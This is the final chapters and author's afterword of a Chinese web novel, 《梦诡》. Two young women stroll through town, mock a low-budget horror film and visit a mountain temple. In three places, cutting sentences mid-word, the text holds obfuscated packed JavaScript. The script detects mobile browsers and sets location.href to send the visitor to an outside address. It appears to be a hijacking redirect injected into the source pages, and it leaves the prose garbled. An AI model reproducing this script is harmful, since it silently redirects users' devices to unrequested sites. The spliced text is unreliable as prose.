“还困吗?” 江未眠从身后轻轻靠过来,把脸埋进她的颈窝,温热的呼吸扫过裸露的皮肤。 “不困。” “那我们出去玩吗?”江未眠的声音带着点撒娇的意味。 甘露有点意外:“我以为你会更想在家里赖着。” “想跟你出去。”江未眠抬起湿漉漉的眼睛,“出去玩嘛。” “好,”甘露点开手机里的探店软件,“你想去哪里?” “随便逛逛,看心情。走到哪算哪。” 江未眠换了件简单的黑t,顺手把头发扎成了高马尾,额前碎发有些凌乱,衬得眉眼利落干脆。 两人并肩走出小区。 午后的阳光透过行道树的缝隙,细碎地洒在地上,风一吹,树叶沙沙响。 路边的便利店摆着新上的冰饮,电风扇呼呼地吹着,老板坐在门口的台阶上刷手机,脚边趴着只黑白色的边牧。 边牧一看到甘露,耳朵向后压,呲着牙冲她低吼,喉咙里滚着一连串不友好的声音。 老板拽了下狗绳,低声呵斥了一句。边牧圆溜溜的眼睛转了几圈,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480589|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看店老板,又不甘心地冲甘露叫“汪”了一声,才慢吞吞地趴回去,尾巴尖一下一下地不爽地拍着地面。 老板尴尬地朝甘露笑笑:“对不住。” “没事,”甘露倒是习以为常,向江未眠介绍道:“这是我家狗的死敌狗之一。不只是我,爷爷奶奶路过也会被她凶。” 江未眠拍了拍她的肩:“是连带责任呢。” 两人继续往前走,拐过居民楼的转角。 墙根下卧着只三花猫,懒洋洋晒着太阳。甘露刚走近,那猫瞳孔一缩,突然弓起背、炸起毛,冲着她“喵呜——”一声。 声音又尖又凶,警告意味十足。 甘露脚步一顿,默默往后退了小半步。 三花瞪了她两眼,高傲地扭头上了墙,蹲在墙头居高临下地瞪甘露。 甘露继续介绍道:“这是我家狗的敌猫……之一。” 两狗,三猫。 一路被热烈欢送,没有一个不敌视她。 江未眠感慨:“它狗缘真的好差。” 甘露无奈补充:“可不是,到处树敌,每次遛狗都是场战斗。” 不远处就有一家商圈商场,楼里餐饮、娱乐、休闲场所一应俱全,周末的人流量也大,很热闹。 甘露抬眼扫了扫电梯壁上印着的楼层索引,四楼是影院,她问江未眠:“看电影吗?” 江未眠干脆答应:“行啊。” 电梯平稳上行,直达影院楼层。一出电梯,凉气和爆米花的甜香味扑面而来。 甘露滑动自助售票机的屏幕,热门的喜剧、爱情、动作片扫了一圈,没有两人想看的。 江未眠伸手接过她的动作,售票页面拉到最下层,一排冷门排片出现。 甘露的目光忽然定格,指着其中一个问道:“这个怎么样?” 海报通体漆黑,正中央印着一个脸色惨白如纸的女人,她怀里紧紧抱着一个复古的红色喜盆,盆身画着褪色的鸳鸯戏水纹样。 《盆仙》。 光是海报就透着一股槽点满满的低成本烂片的气息。 “就这个吧。”江未眠直接敲定。 最近一场开场需要等不到二十分钟,时间也合适。两人在一旁的饮品店买了两杯冰饮。 放映厅里人少得可怜,稀稀拉拉几座,她们挑了中间靠后的位置坐下。 灯关掉后,一片漆黑,放映厅安静了下来。 26. 安睡 屏幕里的光影忽明忽暗。 《盆仙》的剧情确实放飞自我。 一名温文尔雅的精神科医生接诊了一位面容憔悴的特殊病人,病人神神叨叨得说自己被一个老旧的大红色喜盆缠住了,走到哪里都能看见那只盆,怎么甩都甩不掉,晚上都睡不着。 医生只当是病人出现了比较严重的被害妄想与幻觉,例行公事地开了安神的药物。但怪事接踵而至,医生自己也开始在各个角落瞥见一只绣着鸳鸯戏水的大红喜盆,在洗漱台边、办公桌下,甚至她在半夜惊醒时瞥见那只喜盆就安安静静地摆在卧室地板中央。 医生的精神状态也急转直下。 “真的好出戏,”甘露靠在柔软的椅背上,喝了口清甜的果茶,吐槽道,“一定要用这个盆吗?感觉是想模仿绣花鞋,但没那种中式恐怖的渗人感觉。” 江未眠倒没怎么看剧情,专心把玩着甘露的手指,指腹慢悠悠地摩挲着甘露的指节,眉眼低垂,仿佛觉得这比电影剧情有意思多了。 “从床底下拿出个绣花鞋,红雨伞什么的是很有感觉,但偏偏拖出了个盆……” “说明女鬼朴实无华,很会过日子。”江未眠接着甘露的话吐槽。 甘露的笑点被戳中了。 大红喜盆作为贯穿全篇的线索,导演还刻意安排了好几次喜盆突然怼脸的惊悚镜头,但只让人觉得尴尬。 影片草草收尾,直接宣布诡异事件不过是剧中所有人因精神压力产生的集体幻觉,世界上是没有鬼的。 甘露看着滚动的片尾字幕,更无语了。 她语气里带着几分好奇,小心翼翼地问道:“江未眠,你第一次见到那些东西的时候,是什么感觉呢?” “嗯?”江未眠放过了甘露的手指,她沉默了几秒,想了下说道,“最开始没有在意,它们自我记事以来就出现在我的视线里,我的梦里,我的世界里,我已经习惯了,就像是你不会某一天突然开始在意每天呼吸用的氧气。” “后来慢慢长大,我隐隐约约发现,别人看到的世界好想和我看到的不一样。” 江未眠的语气里带着一丝不易察觉的怅然。 “幼儿园老师问我们,班里有几个小朋友呀?所有小朋友都回答有20个,只有我回答有21个,因为我知道教室角落里还有一个大家‘看’不到的孩子。” 甘露轻声问道:“会觉得格格不入吗?” “会啊,”江未眠耸耸肩,“其实对大多数人来说,真正能彻底融入身边的环境,本来就是很少见的事,我只是情况更特殊一点而已。” 更何况你来了,在我最迷茫、最觉得自己与世界隔绝的时候,你出现了。 江未眠没有将这句话说出口。 电影结束,影院顶端的大灯亮起刺眼的白光,零星的观众纷纷起身收拾东西朝着出口走去。甘露和江未眠也跟着稀稀拉拉的人群一起走出了放映厅。 商场里面没什么特别值得闲逛的地方,无非是吃的喝的和礼品店,电玩城。 两人慢悠悠地绕着商场走了一圈后,甘露忽然停下脚步,转头看向江未眠,认真提议道:“要不要去庙里看看?” 江未眠有些疑惑:“庙里?” “对,”甘露点头,抬手晃了晃自己的手腕,温润的木珠碰撞发出声响,“这串木珠是奶奶之前在庙里给我求过来的,前段时间我把它找出来戴上后没多久就在梦里遇见了你。我总觉得是这串木珠的缘分,所以我们去庙里还个愿吧。” 江未眠自然没有异议,两个人打了一辆车。 山路弯弯绕绕,风从半开的车窗钻进来,风里卷着山间特有的草木气。司机把他们放在山脚,一踩油门就开走了,两人还需要爬一段石阶。 寺庙建在半山之间,占地不大,灰瓦覆青苔,木漆斑驳,但因为日日有人擦拭,边角处反倒干净发亮,看着有了些年岁,却不显破败,香火不算旺盛,有断续的青烟从檐角飘起。 还没进寺庙,先从侧门跑出来一只棕色和白色相间的小狗,毛有点乱,瘦精干练,腿短但跑得快,一看见甘露就压低嗓子,呜呜地哼叫,像是在埋怨。 甘露尴尬地笑了笑,蹲下来,手指挠了挠它的下巴哄道:“别再追究小黄咬你尾巴毛的事了好吗?都过去那么久了。” 小狗耳朵耷拉着,没扑上来,继续哀怨地瞪着她,一位穿灰布僧衣的老法师端着半个瓷碗的清水走过来,她唤了一声,小狗立刻收了气焰,三步一回头、两步瞪一眼地蹭着她脚边走了。 “卷卷,你来了。”老主持和蔼地摸了摸甘露的脸,她起了皮的手有些粗糙,但恨柔和,带着长辈特有的温柔。 “张奶奶。”甘露乖乖应了一声。 “哎哎,好孩子。” “奶奶你不用管我们,我们自己摆一下就好。” 甘露指了指江未眠:“奶奶,这是江未眠,我的同学。” 老主持拍了拍江未眠的肩,转身忙去了。 甘露解释道:“这是陆绮的奶奶,信佛。” 寺庙墙边、殿角都种着一种很奇怪的树,江未眠把挂在树上面的牌子翻过来。 渡芯木。 见江未眠好奇,甘露开口介绍:“这叫渡芯木,这寺里独有的,别处很少见。” 渡芯木长在山前水后,喜背阴安静的地方。 树长得不高,枝干偏灰,棕绿色的叶子细疏,看着总像半枯着,没有生命力。 “它的生命周期很短不过两三年,所以也长不高。到第三年秋天,整棵树会一下子枯透。” “可奇怪的是它的枝干却不腐不烂,据说最长可以百年都不坏,木头反而越枯越密、越沉。” 甘露顿了顿:“只有枯透的渡芯木才能车成佛珠,香很淡,闻着心会静。活木做的反而无光,又容易碎。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480590|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她抬手晃了晃手腕:”这就是它做的佛珠。” 她补了句:“还有人说,它这种死而不腐的样子,是卡在阴阳之间,是此岸到彼岸的桥。寺里老人都说,它能安魂、稳神,指引迷路的灵魂。” 江未眠一直沉默地看着那些树。 “我见过。”江未眠抚摸过一段粗糙的枝干,说道,“我家里,也种过一棵。……以前的家里。” “以前的家?”甘露问,“沪市?” “对,”江未眠说道,“我妈妈还在的时候,我们住在那里。” “有一年她移植回来一棵树。” 甘露有些疑惑:“它在别的地方长得成吗?” 江未眠耸耸肩,“确实没有长很久,可能是不适应沪市对气候,有些东西就是应该种在对的地方。那树寿命太短,没活几个月就自然枯透了,我把树枝留下来了,放在床头,那段时间我的精神状态很差,我猜这是她找一棵树的原因,安魂压惊缓解心绪什么的,不过她也没和我说过这些,所以是不是她的真实目的,我也不知道。” “其实它也确实有用,我遇到了你。” “现在想来,是不是它把我们连接在一起呢?” 她梦到了一场大火,过去的回忆最为燃料,烧的一干二净,不知道从哪一天开始,她找不到一直放在床头的那根随手捡回来的树枝了。 “江未眠,我总觉得还缺点什么,所以有些话无论如何都是要说的……”甘露突然开口,“你要永远和我在一起吗?” 她曾得到过永远的承诺。 何其幸运,她再次听到了这句话。 山谷回荡着甘露的声音,把江未眠带到很久很久之前,时间在她们两个身上留下浓墨重彩,留下缝隙。 但那又如何? 树林郁郁葱葱,多少年来几乎没有改变,好像这固执的世界也鲜少改变,七八月的暑气热得要命,秋天一晃就会溜走,毛衣穿不了几天就需要换成薄袄,如果运气好,冬天飘起漫天飞雪,家里支起火锅,窗外响起代表新年的鞭炮,带着雾气的玻璃窗上倒映着烟花。春天枝头压满繁花,学生们背着一箩筐的作业,苦哈哈地回到学校。 四季流转,人间烟火模糊成了背景,现在,江未眠与甘露站在循环之外。 甘露伸出手,邀请江未眠,加入她的世界。 想和你一起吹夏夜的凉风,看星星寥寥无几的夜空,想和你漫步在落叶大道,想分享你口袋的温度,想和你一起迟到,一起罚站,想把你当做最平常。 想予你安睡之地。 微风摇动树叶,阳光之下如同碧绿的海洋。 江未眠拉住甘露的手,自由的风带来春天的消息,年轻的人们还在向前走,她们无所畏惧,不可阻挡,勇敢地不可思议。 “好。”她说道。 走吧,别怕那道路坎坷漫长。 end. 27. 作者碎碎念 这篇文……算是写完了,感谢愿意看到这里的你。 我从去年开始构象这篇故事,最初是为了一碟醋包的饺子,但由于没有听众位写手前辈的好言相劝,《梦诡》没有列细纲,大纲也相当粗糙简陋,只有一些关键词,实操时基本上是想到哪写到哪,导致剧情就像一匹脱缰的野马一路奔向悬崖,我端着那碟醋在后面追啊追……好不容易砍剧情砍大纲追上来,却发现醋怎么都塞不进剧情了,回过头,还余留下了好多bug和坑。 因为拉磨拉的很慢,还非常之懒,所以去年的构想,今年才勉强写完,最终成品和预计……怎么说呢,不太相符。 边写边改,最终成型就是这样了,之后大概率不会有新增的情节了,显示更新也是在改文……如果突然抽风变勤奋了的话,也可能会再改改吧。 这是我完完整整写出的第一篇小说。它体量小,它的语言和情节都不怎么成熟,剧情和人物bug还一堆一堆的,但对我来说《梦诡》作为第一本正式完结的小说,有着非凡的意义。小说的开始我也曾饱含激情,字字句句用心琢磨,实际创作过程痛苦万分,和我想象中的一点都不一样,赶榜单的过程分外心累,在打下end三个字时,我心里松了口气,好像从什么沉重的,没有尽头的徭役里面解放了。 这个经历告诉我,一定要列细纲。 话题拐到《梦诡》,相比于标签化,高高在上式的人物,个人比较偏向有各种各样或大或小缺点的人,或者说我认为有残缺,不完美,才是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480591|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要创造出的角色。 不睡觉女士去社会化相当完美、是个回避型人格,没有人推着她,她就会龟缩在原地,基本上不会往前走。甘露常常在勇敢与鲁莽之间摇摆,大部分时候她都偏向后者,她小时候甚至完全是淑女的反义词。陈醒是个不愿负责,缺位的父亲,江疏是个被动接纳的母亲,甘爸甘妈甘奶甘爷,一大家子都太溺爱孩子,就连大黄狗都是万狗嫌。 但正是这样的不完美,让我写起来时,有种站在地上的感觉。 我从小就喜欢在睡前读故事,把童话故事书压在枕头下面,闭上眼睛,会做一晚上好梦,也是抱着或许看了后会做美梦吧这样的想法,我决定开始写这个故事。 希望你读完之后,可以做个好梦。